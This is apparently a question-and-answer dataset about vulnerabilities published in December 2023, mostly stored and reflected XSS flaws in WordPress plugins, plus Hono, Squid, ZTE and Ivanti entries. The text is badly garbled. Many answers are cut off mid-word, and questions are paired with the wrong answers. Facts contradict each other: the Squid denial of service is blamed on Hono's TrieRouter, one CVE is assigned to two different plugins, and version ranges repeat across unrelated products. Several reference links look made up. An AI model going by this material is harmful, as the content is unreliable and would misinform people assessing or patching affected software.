Are there references available for more information on CVE-2023-6705? Yes, there are several references available for more information on CVE-2023-6705. What is a 'use after free' vulnerability? It is a type of vulnerability where memory is reused after it has been freed. What is the potential impact? The potential impact of CVE-2023-6705 on an affected system can be quite severe, ranging from denial of service to data corruption. Has a Base Score assigned to CVE-2023-6705? No, there is no Base Score assigned to CVE-2023-6705. In such cases, what is the CVE ID? The CVE ID for the vulnerability identified in the Hono web framework is CVE-2023-50710. Which component is affected? The vulnerability described in CVE-2023-50710 affects the TrieRouter component within the Hono web framework. What type of risk does it pose? It poses a risk where clients may override named path parameter values from the URL. As of which version was it fixed? The vulnerability CVE-2023-50710 in the Hono web framework has been fixed as of version 1.0.0. Can you provide a workaround? Yes, a workaround for CVE-2023-50710 is to avoid using TrieRouter directly in the Hono web framework. When was it publicly disclosed? The vulnerability CVE-2023-50710 in the Hono web framework was publicly disclosed on 14 December 2023. Could you provide further information? Yes, further information about CVE-2023-50710 can be found at the following URLs: [link 1], [link 2].

What kind of attack scenarios involve CVE-2023-50710? Potential attack scenarios for exploiting CVE-2023-50710 could involve a malicious user sending crafted requests to the TrieRouter component. What is CVE-2023-50269? It refers to a security vulnerability in Squid, which is a caching proxy for the Web. Which versions of Squid are affected? CVE-2023-50269 affects Squid versions 2.6 through 2.7.STABLE9, versions 3.1 through 5.9, and 6.0. How can it be mitigated? It can be mitigated by updating to Squid version 6.6, which contains a fix for this vulnerability. What type of attack does it allow? CVE-2023-50269 allows for a Denial of Service (DoS) attack that can be performed by a remote attacker. Where can patches be found? Patches for CVE-2023-50269 can be found on the official Squid website. Specifically, patches are available for each affected version. What is the impact? The impact of CVE-2023-50269 is a Denial of Service (DoS) on systems running vulnerable versions of Squid. What is the attack vector? The attack vector in CVE-2023-50269 involves the exploitation of an Uncontrolled Recursion vulnerability in the TrieRouter component. What is the published date? As of the published date, which is 14 December 2023, CVE-2023-50269 has been addressed in the latest version of Squid. What is CVE-2023-49157? It refers to a security vulnerability identified as 'Improper Neutralization of Input During a Comparison' in the Simple Calendar – Google Calendar Plugin for WordPress. What type of vulnerability is it? CVE-2023-49157 is a 'Stored Cross-site Scripting (XSS)' vulnerability. This means that it allows an attacker to inject malicious JavaScript code into the database. Which plugin is affected? The plugin affected by CVE-2023-49157 is the 'Multiple Post Passwords' plugin for WordPress. What version is affected? The CVE-2023-49157 vulnerability affects the Multiple Post Passwords plugin for WordPress from version 3.2.6 up to 4.0. Are there references available for more information? Yes, there are several references available for more information on CVE-2023-49157. However, the details provided do not specify a fix or mitigation measures for CVE-2023-49157. When was it published? CVE-2023-49157 was published on 14 December 2023.

Where can more information about CVE-2023-49157 be found? More information about CVE-2023-49157 can be found at the following URL provided in the reference. Can you give an example of an attack scenario? In an attack scenario involving CVE-2023-49157, a malicious actor could exploit the Stored XSS vulnerability to inject malicious JavaScript code into the database. What is CVE-2023-49152? It refers to a security vulnerability involving improper neutralization of input during a comparison in the Labs64 Credit Tracker WordPress plugin. Which plugin is affected? The Labs64 Credit Tracker WordPress plugin is affected by the security issue identified as CVE-2023-49152. What version is affected? The Stored XSS vulnerability CVE-2023-49152 affects the Labs64 Credit Tracker plugin from version 3.2.6 up to 4.0. How severe is it? The Base Score for CVE-2023-49152 has not been provided. Generally, XSS vulnerabilities can lead to data theft or manipulation. When was it published? The vulnerability with ID CVE-2023-49152 was published on 14 December 2023. Where can more details about CVE-2023-49152 be found? More details about CVE-2023-49152 can be found at Patchstack's database through the provided link. Could you provide an example of an attack scenario? An attack scenario for the CVE-2023-49152 vulnerability includes an attacker crafting a malicious URL that triggers the stored XSS vulnerability. What is CVE-2023-49151? It refers to a security vulnerability classified as an 'Improper Neutralization of Input During a Comparison' in the Simple Calendar – Google Calendar Plugin for WordPress. Which plugin is affected? CVE-2023-49151 affects the Simple Calendar – Google Calendar Plugin for WordPress. What version is affected? Versions from n/a through 3.2.6 of the Simple Calendar – Google Calendar Plugin are vulnerable. What is the impact? The impact of the vulnerability described in CVE-2023-49151 is that it allows an attacker to inject malicious JavaScript code into the database.

Where can Additional information about CVE-2023-49151 can be found at the following URL: <https://nvd.nist.gov/vuln/detail/CVE-2023-49151>
Was CVE-2 As of the available information, a Base Score for CVE-2023-49151 was not assigned.

What woul A possible attack scenario for CVE-2023-49151 would involve an attacker injecting malicio
Can you pr While specific code examples of the XSS attack associated with CVE-2023-49151 cannot be
What is CV CVE-2023-5769 is a security vulnerability in a webserver that affects the RTU500 series prc
When was CVE-2023-5769 was published on 14 December 2023.

What type CVE-2023-5769 is a cross-site scripting (XSS) vulnerability.

Is there a b No, as of the information provided, there is no base score available for CVE-2023-5769.

Where can More details about CVE-2023-5769 can be found at the provided reference link: <https://pubsec.com/cve-2023-5769>

What are t For CVE-2023-5769, a possible attack scenario involves a malicious actor crafting a speciall

What mak The RTU500 series products are vulnerable in CVE-2023-5769 due to the webserver's failur

Can you pr While I cannot provide specific code without more details on the affected RTU500 series pr

What is th The CVE ID for the Cross-site Scripting vulnerability in the weDevs WP Project Manager plu

Can you de CVE-2023-49860 refers to an 'Improper Neutralization of Input During Web Page Generatio

Which vers CVE-2023-49860 affects the WP Project Manager plugin versions up to and including 2.6.7.

When was The XSS vulnerability identified by CVE-2023-49860 was published on 14 December 2023.

Where can More information about the CVE-2023-49860 vulnerability can be found at the following U

What migh An attack scenario for CVE-2023-49860 could involve an attacker crafting a malicious script

Are there a While specific code examples for CVE-2023-49860 are not provided here, a general examp

Has a base No base score has been assigned to the CVE-2023-49860 vulnerability as of the informatio

What is CV CVE-2023-49842 is a security vulnerability identified in the Rocket Maintenance Mode & C

What type CVE-2023-49842 represents a Stored Cross-Site Scripting (XSS) vulnerability. This means th

What plugi The plugin affected by CVE-2023-49842 is the Rocket Maintenance Mode & Coming Soon F

Can you gi An attack scenario for CVE-2023-49842 might involve an attacker submitting a malicious sc

What is the CVE-2023-49842 was published on 14 December 2023.

Are there a Yes, more information on CVE-2023-49842 can be found at a security advisory published b

Has a base As of the information available, there is no base score assigned to CVE-2023-49842. It is co

What is CV CVE-2023-49150 refers to a security vulnerability that has been identified in the CurrencyF

Which vers CVE-2023-49150 affects all versions of the Crypto Converter Widget up to and including ve

What is Cr Cross-Site Scripting (XSS) is a type of security vulnerability typically found in web applicati

Can you pr While it would be irresponsible to provide an actual exploit, a hypothetical example may ir

What are t In an attack scenario exploiting CVE-2023-49150, an attacker could create a malicious scrip

Where can More details about CVE-2023-49150 can be found on various security advisory websites su

When was CVE-2023-49150 was published on 14 December 2023.

What is the As of the information provided, the Base Score for CVE-2023-49150 is not available (N/A).

What type CVE-2023-49149 refers to an 'Improper Neutralization of Input During Web Page Generatio

Which soft The CVE-2023-49149 affects the Currency Converter Calculator plugin for WordPress, spec

What is the The impact of the CVE-2023-49149 vulnerability is that it allows for Stored Cross-site Script

Can you pr Certainly, a generic example of a Stored XSS vulnerability that might align with what's foun

What mitig Mitigation for CVE-2023-49149 should involve updating the Currency Converter Calculator

What pote Possible attack scenarios for exploiting CVE-2023-49149 could include an attacker injecting

Where can More details about CVE-2023-49149 can be found in the Patchstack database at the follow

What is CV CVE-2023-48780 is an identifier for a specific security vulnerability identified in the Enigma

What type CVE-2023-48780 is a Stored Cross-Site Scripting (XSS) vulnerability. This means that the vul

What version of CVE-2023-48780 affects the WP Catalogue plugin for WordPress from versions up to and including 1.0.1?

How can it be exploited? Exploitation of CVE-2023-48780 would typically involve an attacker crafting a malicious page.

Can you provide an example? Certainly! In the context of CVE-2023-48780, an attacker might, for example, input a script tag into a form field.

How can it be mitigated or resolved? To mitigate or resolve CVE-2023-48780, administrators of websites using the WP Catalogue plugin should update to version 1.0.2 or later.

Where can more information about CVE-2023-48780 be found? More information about CVE-2023-48780 can be found at the provided reference URL: <https://www.cvedetails.com/cve/5934/>.

Was it assigned a base score? As of the provided information, no base score was assigned to CVE-2023-48780 when it was first published.

What is the nature of the Stored XSS vulnerability? Stored XSS vulnerabilities like CVE-2023-48780 can have significant impact on the security of a website.

What is the CVSS score? CVE-2023-48771 refers to a security vulnerability of type 'Improper Neutralization of Input During Web Page Generation'.

What version of CVE-2023-48771 affects the File Gallery plugin for WordPress from the initial release up to and including 1.0.1?

What is the nature of the Reflected Cross-Site Scripting (XSS) vulnerability? CVE-2023-48771 is a Reflected Cross-Site Scripting (XSS) vulnerability. This means that the vulnerability is triggered when a user interacts with a web application.

What could an attacker do? With the vulnerability CVE-2023-48771, an attacker could execute arbitrary JavaScript code in the browser of other users.

How was it disclosed? The CVE-2023-48771 vulnerability was disclosed through a published advisory, which can be found at the provided reference URL: <https://www.cvedetails.com/cve/5935/>.

Are there any known exploits? As of the provided information, no exploit vector has been published for CVE-2023-48771.

What measures should website administrators take? To mitigate CVE-2023-48771, website administrators should immediately update the File Gallery plugin to version 1.0.2 or later.

What is the CVSS score? CVE-2023-48770 refers to a security vulnerability classified as a 'Cross-site Scripting' (XSS) vulnerability.

In which plugin does it exist? CVE-2023-48770 exists in the Nima Saberi Aparat plugin for WordPress. It is a Stored XSS vulnerability.

What type of vulnerability is it? CVE-2023-48770 is classified as a Stored Cross-site Scripting (XSS) vulnerability, which involves storing malicious code in a database and serving it back to other users.

When was it published? CVE-2023-48770 was published on 14 December 2023.

Where can additional information about CVE-2023-48770 be found? Additional information about CVE-2023-48770 can be found at the following URL: <https://www.cvedetails.com/cve/5936/>.

Can you give an example of an attack? An example of an attack that CVE-2023-48770 could enable is where an attacker manages to inject malicious JavaScript code into a user's session.

How can it be exploited? If a WordPress website using the Aparat plugin up to version 1.7.1 is exploited by CVE-2023-48770, an attacker could execute arbitrary code in the browser of other users.

Is there a base score? As of the information provided, there is no Base Score assigned to CVE-2023-48770.

What type of vulnerability is CVE-2023-48767? CVE-2023-48767 describes an 'Improper Neutralization of Input During Web Page Generation' vulnerability.

Which software is affected? The CVE-2023-48767 vulnerability affects the MyTube PlayList plugin used in WordPress. The plugin allows users to embed YouTube videos on their website.

How does it work? CVE-2023-48767 allows an attacker to exploit a web application by sending a crafted URL to the victim's browser.

Can you provide an example? Certainly, an attacker might craft a URL like the following: <http://example.com/vulnerable>.

What are the potential consequences? An exploit of CVE-2023-48767 could lead to a variety of issues, including stealing of cookies and sensitive data.

When was it published? The information about CVE-2023-48767 was published on 14 December 2023.

Where can more information about the CVE-2023-48767 vulnerability be found? More information about the CVE-2023-48767 vulnerability can be found on security databases like CVEDetails and NIST.

Has it been assigned a base score? Based on the provided information, a base score has not been assigned to CVE-2023-48767.

What remediation steps are recommended? To remediate CVE-2023-48767, users of the affected MyTube PlayList plugin should update to version 1.7.2 or later.

What type of vulnerability is CVE-2023-48756? CVE-2023-48756 represents an 'Improper Neutralization of Input During Web Page Generation' vulnerability.

Which plugin is affected? The CVE-2023-48756 vulnerability affects the Crocoblock JetBlocks For Elementor plugin for WordPress.

Up to which version is it affected? CVE-2023-48756 affects versions of JetBlocks For Elementor up to and including 1.3.8.

What type of vulnerability is it? CVE-2023-48756 is a Reflected Cross-site Scripting (XSS) vulnerability. It could be exploited by an attacker to inject malicious code into a user's session.

When was it published? The CVE-2023-48756 vulnerability was published on 14 December 2023.

Where can more information about the CVE-2023-48756 vulnerability be found? You can find more information about the CVE-2023-48756 vulnerability on the Patchstack platform.

What are the potential consequences? Exploitation of the CVE-2023-48756 vulnerability could lead to unauthorized actions being performed by an attacker.

Can you provide an example? Certainly! In the context of CVE-2023-48756, imagine a scenario where a user clicks on a suspicious link.

What is the CVSS score? CVE-2023-49841 refers to a Stored Cross-site Scripting (XSS) vulnerability in the FancyThemes Optin Forms plugin for WordPress.

What version of CVE-2023-49841 affects the FancyThemes Optin Forms plugin for WordPress from the earliest version up to and including 1.0.1?

When was it published? The CVE-2023-49841 vulnerability was published on 14 December 2023.

What is the nature of the vulnerability? The vulnerability described in CVE-2023-49841 allows an attacker to perform Stored Cross-site Scripting (XSS) attacks.

Are there any known exploits? Yes, more details about CVE-2023-49841 can be found on the provided reference link: <https://www.cvedetails.com/cve/5937/>.

Could you | While I cannot provide a specific code example, generally a Stored XSS attack could involve What are t Possible attack scenarios for CVE-2023-49841 include an attacker exploiting the Stored XSS What is the The CVE ID of the vulnerability is CVE-2023-49820.

Which plug The Structured Content (JSON-LD) #wpsc plugin created by Gordon Böhme and Antonio Le What kind CVE-2023-49820 is a Cross-site Scripting (XSS) vulnerability, categorized as 'Improper Neut Can you pr CVE-2023-49820 is a Stored Cross-site Scripting (XSS) vulnerability in the Structured Conte What versi The Structured Content (JSON-LD) #wpsc plugin versions n/a through 1.5.3 are affected by Are there a More information about CVE-2023-49820 can be found at the following URL: <https://patch> What is the CVE-2023-49820 was published on 14 December 2023.

Has a base As of the time the information was provided, a base score has not been assigned to CVE-20 Could you | In a possible attack scenario involving CVE-2023-49820, an attacker could submit a post or What is a p To mitigate CVE-2023-49820, users of the Structured Content (JSON-LD) #wpsc plugin sho What is CV CVE-2023-49813 is a security vulnerability identified in the WP Photo Album Plus plugin fo What type CVE-2023-49813 is a Stored Cross-site Scripting (XSS) vulnerability.

Which plug The WP Photo Album Plus plugin for WordPress is affected by CVE-2023-49813.

What versi The vulnerability CVE-2023-49813 affects all versions of WP Photo Album Plus up to 8.5.02 What coul By exploiting CVE-2023-49813, an attacker could inject malicious scripts into webpages vie Has CVE-20 No, as of the available information, CVE-2023-49813 has not been assigned a Common Vul Where can More information about CVE-2023-49813 can be found on the provided reference URL: <htt> What is the The impact of a Stored XSS vulnerability like CVE-2023-49813 can be quite significant, as th What are p To mitigate CVE-2023-49813, users of the WP Photo Album Plus plugin should update to th When was CVE-2023-49813 was published on 14 December 2023.

What is CV CVE-2023-49771 refers to a security vulnerability known as 'Improper Neutralization of Inf What versi CVE-2023-49771 affects the Smart External Link Click Monitor [Link Log] plugin for all versi What coul An attack scenario for CVE-2023-49771 might involve an attacker crafting a malicious link c Are there a Yes, details on CVE-2023-49771 can be found in an online reference from Patchstack - '<http> What is the The Base Score for CVE-2023-49771 has not been assigned or is not available in the provid When was CVE-2023-49771 was published on 14 December 2023. Once vulnerabilities are identified a What is the The CVE ID of the reported cross-site scripting (XSS) vulnerability is CVE-2023-49770.

What plugi The plugin affected by CVE-2023-49770 is the Smart External Link Click Monitor, also know In which v The vulnerability CVE-2023-49770 exists in the Smart External Link Click Monitor [Link Log] What type CVE-2023-49770 is classified as a Stored Cross-Site Scripting (XSS) vulnerability, resulting fi What is the The base score for CVE-2023-49770 has not been provided or is not applicable (N/A).

When was CVE-2023-49770 was published on 14 December 2023.

Can you pr An example of an XSS attack that might exploit CVE-2023-49770 would involve an attacker Where can More information about CVE-2023-49770 can be found at a security advisory page provide What are t Possible attack scenarios for CVE-2023-49770 include a malicious user submitting a script t What is CV CVE-2023-49766 refers to a security vulnerability classified as 'Improper Neutralization of I What type! CVE-2023-49766 allows for stored Cross-site Scripting (XSS) attacks, where an attacker can Which plug CVE-2023-49766 affects the Themefic Ultimate Addons for Contact Form 7 plugin for Wor How can C To mitigate the vulnerability identified by CVE-2023-49766, users of the Themefic Ultimate When was CVE-2023-49766 was published on 14 December 2023.

Are there a Yes, a public reference with more information about CVE-2023-49766 can be found at Patc What is an An attack scenario for CVE-2023-49766 might involve an attacker crafting a malicious scri

Is there a known As of the available information, there is no Base Score provided for the severity of CVE-2023-49195. What is CVV CVE-2023-49195 is a security vulnerability that has been identified in the Nested Pages plugin. What type CVE-2023-49195 is a Cross-site Scripting (XSS) vulnerability, specifically a Stored XSS, which affects the Nested Pages plugin for WordPress.

Which version of the Nested Pages plugin affected by CVE-2023-49195 is up to and including 3.2.6. What versions of Nested Pages are affected by CVE-2023-49195? Can you provide an example of an attack that could exploit CVE-2023-49195?

When was CVE-2023-49195 publicly disclosed? When was CVE-2023-49195 published?

Where can More information about CVE-2023-49195 be found at the provided reference link: <http://patchstack.com/cve-2023-49195>. Has a base score assigned to CVE-2023-49195?

What is CVV CVE-2023-49173 is a security vulnerability identified in the 10to8 Sign In Scheduling Online Appointment Booking System. Which system is affected by CVE-2023-49173? What kind of vulnerability is CVE-2023-49173? CVE-2023-49173 is classified as a Cross-Site Scripting (XSS) vulnerability, specifically it's a Stored XSS. Can you provide an example of a Stored XSS attack on a system affected by CVE-2023-49173? How is CVE-2023-49173 exploited?

When was CVE-2023-49173 published? As of the latest update, CVE-2023-49173 has not been assigned a Base Score for its severity.

When was CVE-2023-49173 published on 14 December 2023.

Where can Technical details about CVE-2023-49173 be found on the Patchstack website at the following URL: <https://patchstack.com/cve-2023-49173>.

What are some possible attack scenarios for CVE-2023-49173? Possible attack scenarios for CVE-2023-49173 include scenarios where an attacker injects malicious code into the system.

What is CVV CVE-2023-49172 refers to a 'Cross-site Scripting' (XSS) vulnerability in the BrainCert HTML5 Virtual Classroom. How is the vulnerability exploited?

When was CVE-2023-49172 published? The CVE-2023-49172 vulnerability affects BrainCert HTML5 Virtual Classroom from the earliest version.

Are there any known references for CVE-2023-49172? Yes, more details on CVE-2023-49172 can be found at the following URL: <https://patchstack.com/cve-2023-49172>.

What is the CVE ID for the vulnerability? The CVE ID for the Reflected XSS vulnerability in TheInnovs HR – Complete Human Resource Management System is CVE-2023-49171.

What type of vulnerability is CVE-2023-49171? CVE-2023-49171 identifies an Improper Neutralization of Input During Web Page Generation vulnerability.

Which version of TheInnovs HR – Complete Human Resource Management System is affected? TheInnovs HR – Complete Human Resource Management System versions up to and including 1.6.5 are affected.

When was CVE-2023-49171 published? The CVE-2023-49171 was published on 14 December 2023.

Where can More information about CVE-2023-49171 be found at the following URL: <https://patchstack.com/cve-2023-49171>.

Could you provide an example attack scenario for CVE-2023-49171? An example attack scenario for CVE-2023-49171 involves an attacker crafting a malicious input to trigger the vulnerability.

What are the potential consequences of an XSS attack exploiting CVE-2023-49171? The potential consequences of an XSS attack exploiting CVE-2023-49171 could include unauthorized access or data theft.

What is the As of the available information, there is no Base Score assigned to CVE-2023-49171.

What is the CVE-2023-50566 describes a stored cross-site scripting (XSS) vulnerability. This type of vulnerability is known as a stored XSS.

Which version of EyouCMS is affected by CVE-2023-50566? The stored XSS vulnerability described by CVE-2023-50566 affects EyouCMS version 1.6.5.

What is the Public Security Registry (PSR) entry for CVE-2023-50566? The vulnerability CVE-2023-50566 in EyouCMS is associated with the Public Security Registry (PSR).

How can attackers exploit the vulnerability CVE-2023-50566? Attackers can exploit the vulnerability CVE-2023-50566 by crafting a malicious payload and injecting it into the system.

Are there any known references for information about the CVE-2023-50566 vulnerability? A known reference for information about the CVE-2023-50566 vulnerability is the issue page on the PSR.

What could be an attack scenario for CVE-2023-50566? An attack scenario for CVE-2023-50566 might involve an attacker creating a specially crafted payload to exploit the vulnerability.

What is the CVE-2023-50566 was published on 14 December 2023.

What information is available about the Base Score for CVE-2023-50566? The Base Score for CVE-2023-50566 is not available. The Base Score is part of the Common Vulnerability Scoring System (CVSS).

What is CVV CVE-2023-50565 refers to a security vulnerability identified in a specific component of RPC.

What type CVE-2023-50565 is a cross-site scripting (XSS) vulnerability. XSS vulnerabilities are a type of web-based attack.

How can CVE-2023-50565 be exploited by an attacker by crafting a malicious payload containing XSS code?

What is the impact of CVE-2023-50565 on the affected system can vary depending on how the vulnerability is exploited.

Where can More information about CVE-2023-50565 can be found on the reference link provided with
When was CVE-2023-50565 was published on 14 December 2023. Security advisories and vulnerability
Can you pr Unfortunately, without specific details of the vulnerability from an analysis of the RPCMS c
What is CV CVE-2023-49833 refers to a security vulnerability described as an 'Improper Neutralization
What plugi The plugin affected by CVE-2023-49833 is Brainstorm Force Spectra - WordPress Gutenberg
What versi CVE-2023-49833 affects all versions of Spectra - WordPress Gutenberg Blocks up to and inc
What type CVE-2023-49833 is a Stored Cross-site Scripting (XSS) vulnerability. It can be exploited by a
When was CVE-2023-49833 was published on 14 December 2023.

Where can More information about CVE-2023-49833 can be found at the provided reference URL: <https://patchstack.com/cve-2023-49833>
What are t The exploitation of CVE-2023-49833 could allow an attacker to execute arbitrary JavaScript
Can CVE-2(Yes, CVE-2023-49833, as a Stored XSS vulnerability, can potentially allow an attacker to acc
What shou Users of the Spectra - WordPress Gutenberg Blocks plugin should immediately update the
Is there a E No, as of the information provided, there is no Base Score given for CVE-2023-49833.

What is CV CVE-2023-49828 refers to a security vulnerability in Automattic WooPayments that specifi
Which vers CVE-2023-49828 affects the Automattic WooPayments - Fully Integrated Solution Built anc
What is th The impact of the vulnerability identified by CVE-2023-49828 is that it allows for Stored XS
How can C' CVE-2023-49828 can be exploited by an attacker by submitting malicious scripts through ir
Has CVE-2(As of now, CVE-2023-49828 has not been assigned a CVSS base score.

When was CVE-2023-49828 was published on 14th December 2023.

Where can More information about CVE-2023-49828 can be found at the following URL: <https://patchstack.com/cve-2023-49828>
What is CV CVE-2023-49827 refers to a security vulnerability identified in the PenciDesign Soledad Wc
Which vers CVE-2023-49827 affects versions of the Soledad WordPress Theme up to and including 8.4
What kind CVE-2023-49827 is classified as a Reflected Cross-Site Scripting (XSS) vulnerability, which o
How can at Attackers could exploit CVE-2023-49827 by crafting malicious URLs or input data that inclu
Can you pr Thee's no explicit code example provided, but an attacker might send a victim a link to the
Where can More information about CVE-2023-49827 can be found on security advisory websites, such
Was a base At the time of the available data, a base score for CVE-2023-49827 was not assigned. Vulne
When was CVE-2023-49827 was published on 14 December 2023.

What is CV CVE-2023-49745 refers to a security vulnerability classified as 'Improper Neutralization of I
What type CVE-2023-49745 is a Stored Cross-site Scripting (XSS) vulnerability.

Which plug The Spiffy Calendar plugin for WordPress is affected by CVE-2023-49745.

What is th The impact of CVE-2023-49745 is that an attacker could inject malicious scripts into web pa
How can C' CVE-2023-49745 can be exploited by an attacker by inserting malicious JavaScript code into
What versi All versions of Spiffy Calendar from its inception up to and including version 4.9.5 are vuln
Where can More information and potentially a patch for CVE-2023-49745 can be found at the provide
Has a base As of the information provided, no base score has been assigned to CVE-2023-49745.

When was CVE-2023-49745 was published on 14 December 2023.

What are p To mitigate against CVE-2023-49745, users should update the Spiffy Calendar plugin to the
What is CV CVE-2023-49743 refers to a security flaw classified as a Cross-site Scripting (XSS) vulnerabi
What type CVE-2023-49743 is identified as a 'Cross-site Scripting' (XSS) vulnerability, particularly a Stc
Which vers CVE-2023-49743 affects all versions of the Dashboard Widgets Suite plugin for WordPress
What are t In CVE-2023-49743, attackers can exploit the vulnerability by submitting malicious scripts t
How can C' To mitigate CVE-2023-49743, site administrators should apply the latest updates and patch
Where can More information about CVE-2023-49743 can be found through the link provided in the Cv

When was CVE-2023-49743 published on 14 December 2023. After vulnerabilities are discovered What is CV CVE-2023-49740 refers to a security vulnerability identified within Seraphinite Solutions Se Which vers CVE-2023-49740 affects all versions of Seraphinite Accelerator from the unspecified initial What kind CVE-2023-49740 refers to an Improper Neutralization of Input During Web Page Generatic When was CVE-2023-49740 was published on 14 December 2023.

What is Re Reflected XSS, often categorized as a type of Cross-site Scripting (XSS) attack, occurs when What is the An attack exploiting CVE-2023-49740 can result in the execution of malicious scripts in the How can C To mitigate CVE-2023-49740, users should update their Seraphinite Accelerator plugin to a Could you | An example of a Reflected XSS attack might involve an attacker sending a URL containing n Where can More information and updates about CVE-2023-49740 can be found on recognized cybersse What is CV CVE-2023-49168 refers to a security vulnerability identified in the WordPlus Better Messag What kind CVE-2023-49168 is classified as a 'Cross-site Scripting' (XSS) vulnerability, particularly a Sto What versi CVE-2023-49168 affects the WordPlus Better Messages plugin from the initial release up to How was C CVE-2023-49168 was published on 14 December 2023, and more information about the vu Can you pr An attack scenario for CVE-2023-49168 could involve an attacker crafting a malicious mess What can a By exploiting CVE-2023-49168, an attacker can execute arbitrary JavaScript in the context c What is CV CVE-2022-45365 refers to a security vulnerability identified in the Aleksandar Urošević Sto What type CVE-2022-45365 is a Cross-site Scripting (XSS) vulnerability, known as a 'Reflected XSS' vuln Which plug The plugin affected by CVE-2022-45365 is the Aleksandar Urošević Stock Ticker plugin desi What can a By exploiting CVE-2022-45365, an attacker can execute arbitrary JavaScript code in the cor Has CVE-2022-45365 As of the information provided, CVE-2022-45365 has not been assigned a Common Vulner On what d CVE-2022-45365 was published on 14 December 2023.

Where can More information about CVE-2022-45365 can be found at <https://patchstack.com/databases> What is a p A possible attack scenario for exploiting CVE-2022-45365 could involve an attacker crafting What is the The CVE ID of the reported vulnerability is CVE-2023-50370.

Can you de CVE-2023-50370 refers to an Improper Neutralization of Input During Web Page Generatic Which plug The security issue tracked by CVE-2023-50370 affects the Livemesh WPBakery Page Builde What versi The Livemesh WPBakery Page Builder Addons versions from the initial release up to and ir When was CVE-2023-50370 was published on 14 December 2023.

Is there a b As of the information provided, there is no base score assigned to CVE-2023-50370. Where can Further information about CVE-2023-50370 can be found at the Patchstack website under What are p For the vulnerability CVE-2023-50370, possible attack scenarios include an attacker injectir Could you | To exploit the CVE-2023-50370 vulnerability, an attacker might inject a script like the follow What is the The CVE ID for the Cross-site Scripting vulnerability affecting the 'Alma – Pay in installment Can you pr CVE-2023-50369 refers to an 'Improper Neutralization of Input During Web Page Generati Has the ba: No, as of the latest information available, the base score for CVE-2023-50369 has not been When was CVE-2023-50369 was published on 14 December 2023.

Where can More information about CVE-2023-50369 can be found at the following URL: <https://patch> Can you gi Exactly code vulnerable to CVE-2023-50369 is not provided, but generally speaking, a vulne What are p Potential attack scenarios for CVE-2023-50369 include an attacker exploiting the Stored XS What is CV CVE-2023-50368 refers to a security vulnerability that exists in the 'Shortcodes and extra fe In which W The vulnerability CVE-2023-50368 was found in the 'Shortcodes and extra features for Phlc What type CVE-2023-50368 is a Stored Cross-Site Scripting (XSS) vulnerability, which involves imprope Which vers CVE-2023-50368 affects versions from the initial release up to and including version 2.15.2

How can C' An attacker can exploit CVE-2023-50368 by submitting input that contains malicious JavaScript code.

When was CVE-2023-50368 was published on 14 December 2023.

Where can You can find more information about CVE-2023-50368 on the Patchstack website, specifically at <https://patchstack.com/cve-2023-50368>.

What are t The consequences of an attack exploiting CVE-2023-50368 can include unauthorized access to user accounts and sensitive data.

What is CV CVE-2023-49847 is a security vulnerability classified as a Cross-Site Scripting (XSS) issue, which means that it allows attackers to inject malicious script code into web pages.

How does I CVE-2023-49847 affects websites by exposing them to Stored XSS attacks. Attackers can ex

What versi CVE-2023-49847 affects all versions of the Twinpictures Annual Archive WordPress plugin.

What actio To mitigate CVE-2023-49847, website administrators should immediately update the Twin

Can you pr An example of a Stored XSS attack that might exploit CVE-2023-49847 could involve the att

What are t The exploitation of CVE-2023-49847 could have several potential consequences, including

Where can More information about CVE-2023-49847 can be found at the provided reference link: <https://patchstack.com/cve-2023-49847>.

Was a CVE As per the provided information, CVE-2023-49847 does not have a Base Score assigned at t

What is CV CVE-2023-49846 refers to a Cross-site Scripting (XSS) vulnerability in a WordPress plugin c

Which plug The plugin affected by CVE-2023-49846 is the 'Author Avatars List/Block' plugin for WordP

What type CVE-2023-49846 represents a Stored Cross-site Scripting (XSS) vulnerability, which occurs o

Which vers Versions from the initial release up to and including 2.1.17 of the Author Avatars List/Bloc

What is t By exploiting CVE-2023-49846, an attacker can perform Stored XSS attacks, which could lea

When was CVE-2023-49846 was published on December 14, 2023.

Can you pr Yes, more details about CVE-2023-49846 can be found at the following Patchstack link: <https://patchstack.com/cve-2023-49846>.

How can C' To mitigate CVE-2023-49846, users of the affected Author Avatars List/Block plugin should

Is there a k A known attack scenario for CVE-2023-49846 involves an attacker injecting malicious scrip

What is t The CVE ID of the reported vulnerability in the Brontabytes Cookie Bar plugin is CVE-2023-

Can you de CVE-2023-49836 refers to an Improper Neutralization of Input During Web Page Generatio

As of CVE-2023-49836, the Brontabytes Cookie Bar plugin is affected by the XSS vulnerabilit

When was CVE-2023-49836 was published on 14 December 2023.

Where can More information about CVE-2023-49836 can be found at the following URL: <https://patch>

What is the The Base Score has not been assigned or published for CVE-2023-49836 at this point in tim

Could you | Certainly, a cross-site scripting attack leveraging the vulnerability specified by CVE-2023-49

What are s Possible attack scenarios for the XSS vulnerability (CVE-2023-49836) include an attacker be

What is CV CVE-2023-50371 is a security vulnerability that refers to an Improper Neutralization of Inpu

Which Wo! The WordPress plugin affected by CVE-2023-50371 is the Advanced Page Visit Counter – N

Until which CVE-2023-50371 affects versions of the Advanced Page Visit Counter plugin up to and inclu

What is t The vulnerability in CVE-2023-50371 is a Stored Cross-site Scripting (XSS) issue, which mea

What is t The impact of CVE-2023-50371, a Stored XSS vulnerability, could include the theft of cookie

Where can More information about CVE-2023-50371 can be found at the provided reference link: <https://patch>

How can C' To mitigate CVE-2023-50371, website administrators should update the Advanced Page Vi

Can you pr An example of how CVE-2023-50371 might be exploited involves an attacker inputting a m

Has CVE-2023-50371 As of the current information, CVE-2023-50371 has not been assigned a base score.

When was CVE-2023-50371 was published on 14 December 2023.

What is CV CVE-2023-25644 refers to a denial of service (DoS) vulnerability discovered in some ZTE mi

Which pro! The specific ZTE mobile internet products affected by CVE-2023-25644 are not detailed in t

How can C' An attacker can exploit CVE-2023-25644 by manipulating the Web interface parameters du

What is t The impact of CVE-2023-25644 is a denial of service, which means that legitimate users co

Where can More information about the CVE-2023-25644 vulnerability can be found on the ZTE suppor

Has CVE-2023-25644 As of the information provided, CVE-2023-25644 has not been assigned a CVSS base score.

What is the published date? The CVE-2023-25644 vulnerability was published on 14 December 2023.

What are potential attack scenarios? Potential attack scenarios for CVE-2023-25644 include an attacker sending crafted request

What remediation steps are recommended? The remediation steps for CVE-2023-25644 would typically involve applying patches or updat

What is the Common Vulnerability Score (CVS)? CVE-2023-41719 refers to a security vulnerability that exists in all versions of Ivanti Connect

What component is affected? The component affected by CVE-2023-41719 is Ivanti Connect Secure, which is a VPN product.

How serious is the vulnerability? The severity of CVE-2023-41719 is considered high, as it allows for remote code execution.

